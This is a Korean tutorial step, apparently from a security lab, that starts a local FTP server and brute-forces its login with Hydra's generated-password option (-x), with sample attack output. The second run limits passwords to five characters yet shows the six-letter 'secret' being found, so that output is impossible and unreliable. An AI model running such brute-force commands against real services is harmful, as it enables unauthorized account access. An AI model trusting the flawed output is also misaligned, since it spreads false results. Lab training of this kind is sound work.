생성된 암호로 FTP 공격
이 단계에서는 Hydra 의 암호 생성 기능을 사용하여 가상 FTP 서버를 공격합니다. -x 옵션으로 "즉석"에서 생성된 암호 목록을 사용합니다.
먼저 테스트용 간단한 FTP 서버를 설정해야 합니다. Python 용 경량 FTP 서버 라이브러리인 python3-pyftpdlib를 사용합니다.
아직 설치되지 않았다면 python3-pyftpdlib를 설치합니다.
sudo apt update
sudo apt install -y python3-pyftpdlib
~/project 디렉토리의 파일을 제공하는 포트 2121 에서 백그라운드에서 FTP 서버를 시작합니다. -w 옵션은 쓰기 액세스를 허용합니다.
nohup python3 -m pyftpdlib -p 2121 -w -u testuser -P secret ~/project > /dev/null 2>&1 &
nohup ... & 부분은 명령을 백그라운드에서 실행하고 터미널을 닫아도 중지되지 않도록 합니다. > /dev/null 2>&1은 표준 출력과 표준 오류를 /dev/null로 리디렉션하여 터미널을 깨끗하게 유지합니다. -u testuser -P secret 옵션은 서버에 액세스할 수 있는 "secret" 암호를 가진 사용자를 설정합니다.
이제 Hydra 를 사용하여 이 FTP 서버를 공격합니다. -x 옵션을 사용하여 암호를 생성하고 "testuser" 사용자로 로그인을 시도합니다.
터미널에서 다음 명령을 실행합니다.
hydra -l testuser -vV -x 4:6:a-z 127.0.0.1 ftp -s 2121
이 명령을 자세히 살펴보겠습니다.
hydra: Hydra 명령줄 도구입니다.
-l testuser: 사용할 사용자 이름을 지정합니다. "testuser".
-vV: 자세한 출력을 활성화하여 각 로그인 시도를 표시합니다.
-x 4:6:a-z: Hydra 에 다음과 같이 암호를 생성하도록 지시합니다.
4: 최소 길이 4 자.
6: 최대 길이 6 자.
a-z: 소문자 (a-z) 만 사용합니다.
127.0.0.1: 대상 호스트 (로컬 호스트). 컨테이너 내의 잠재적인 DNS 확인 문제를 피하기 위해 127.0.0.1을 localhost 대신 사용합니다.
ftp: 공격할 서비스 (FTP).
-s 2121: 포트 번호를 지정합니다. 포트 2121 에서 실행 중인 FTP 서버를 대상으로 합니다.
Hydra 가 생성된 암호로 로그인 시도를 수행하는 것을 볼 수 있습니다. FTP 서버가 특정 자격 증명 (사용자 이름: testuser, 암호: secret) 으로 구성되어 있으므로 Hydra 는 브루트포스 시도 중 "secret"를 생성할 때 올바른 암호를 찾습니다.
중요: 공격을 중지하려면 Ctrl+C를 사용하십시오. 완료하는 데 오랜 시간이 걸릴 수 있습니다.
출력에는 로그인 시도가 표시되고 결국 성공적인 로그인 메시지가 표시됩니다.
Hydra v[...] (c) 2023 by van Hauser / THCO
...
[ATTEMPT] target 127.0.0.1:2121 service ftp on device eth0 - login testuser password aaaa
[ATTEMPT] target 127.0.0.1:2121 service ftp on device eth0 - login testuser password aaab
...
[2121][ftp] host: 127.0.0.1 login: testuser password: secret
이제 소문자와 숫자를 결합하는 약간 더 복잡한 예제를 시도해 보겠습니다.
hydra -l testuser -vV -x 3:5:a-z0-9 127.0.0.1 ftp -s 2121
이렇게 하면 "aaa", "aab", "aac" 등과 같은 암호가 생성되며, 먼저 모든 3 자리 조합, 그런 다음 4 자리 조합, 마지막으로 5 자리 조합을 체계적으로 거칩니다. 생성된 암호와 성공적인 로그인을 보려면 출력을 관찰하십시오.
Hydra v[...] (c) 2023 by van Hauser / THCO
...
[ATTEMPT] target 127.0.0.1:2121 service ftp on device eth0 - login testuser password aaa
[ATTEMPT] target 127.0.0.1:2121 service ftp on device eth0 - login testuser password aab
...
[2121][ftp] host: 127.0.0.1 login: testuser password: secret
이 단계에서는 -x 옵션을 사용하여 Hydra 를 사용하여 암호를 생성하고 FTP 서버를 공격하는 방법을 보여주었습니다. 이러한 기술을 책임감 있고 윤리적으로 사용하는 것을 기억하십시오.